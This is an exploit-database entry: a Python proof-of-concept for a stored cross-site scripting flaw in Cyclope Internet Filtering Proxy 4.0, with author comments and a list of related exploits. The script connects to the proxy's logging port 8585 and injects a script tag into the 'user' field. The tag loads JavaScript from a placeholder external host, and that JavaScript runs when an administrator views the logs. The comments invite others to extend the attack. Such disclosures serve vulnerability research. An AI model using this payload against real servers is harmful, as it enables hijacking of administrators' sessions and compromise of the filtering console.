#!/usr/bin/python # Title: Cyclope Internet Filtering Proxy 4.0 - Stored XSS Vuln. # From: The eh?-Team || The Great White Fuzz (we're not sure yet) # Found by: loneferret # Software link: http://www.cyclope-series.com/download/index.aspx?p=2 # Date Found: Oct 20th 2011 # Tested on: Windows XP SP3 Professional / Windows Server 2008 R2 Standard # Tested with: Registered and Unregistered versions # Nod to the Exploit-DB Team # The Cyclope Internet Filtering Proxy is your basic white & black list website navigation filtering app. # It will log all of the client's activities such as visited web sites, the time etc. # There's an optional client application if the administrator wishes to acquire the computer name and user # information. # This XSS vulnerability is due to the fact that nothing is sanitized in the web-based management console. # The whitelist and blacklist patterns, for example, are vulnerable. As well as computer name and user fields # gathered via the logging port. # This PoC takes advantage of the "user" field (but also works with computer feild). One needs to send in the correct order: # <user>USER</user><computer>COMPUTER</computer><ip>IP ADDY</ip>\n to the default log port 8585. # None of these fileds are sanitized. So it's making this XSS a bit more interesing. # Atacking machine doesn't need the Cyclope client app installed. # Limited in what can be sent, a space will screw up any code you send. The HTML code will usually fix that problem, # as well as all the other HTML codes for quotes and so on. # So we can remotely inserted our evil XSS, and have it executed when the administrator looks over the logs. # As always, if anyone wants to take this PoC to the next level, be my guest. # Have fun, # loneferret import struct import socket # Remember to enter a webserver with a js file buffer = "<user><SCRIPT/SRC=http://xxx.xxx.xxx.xxx/xss.js></SCRIPT></user><computer>Windows</computer><ip>188.8.131.52</ip>\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nSending evil buffer..." s.connect(('xxx.xxx.xxx.xxx',8585)) #Enter Cyclope server IP address s.send(buffer) s.close() print "\nDone! "
Related ExploitsTrying to match OSVDBs (1): 83462
Trying to match setup file: 48d7bcf182377cd512767328bd9a36d0
Other Possible E-DB Search Terms: Cyclope Internet Filtering Proxy 4.0, Cyclope Internet Filtering Proxy
|2011-10-21||Cyclope Internet Filtering Proxy 4.0 - CEPMServer.exe Denial of Service (PoC)||loneferret|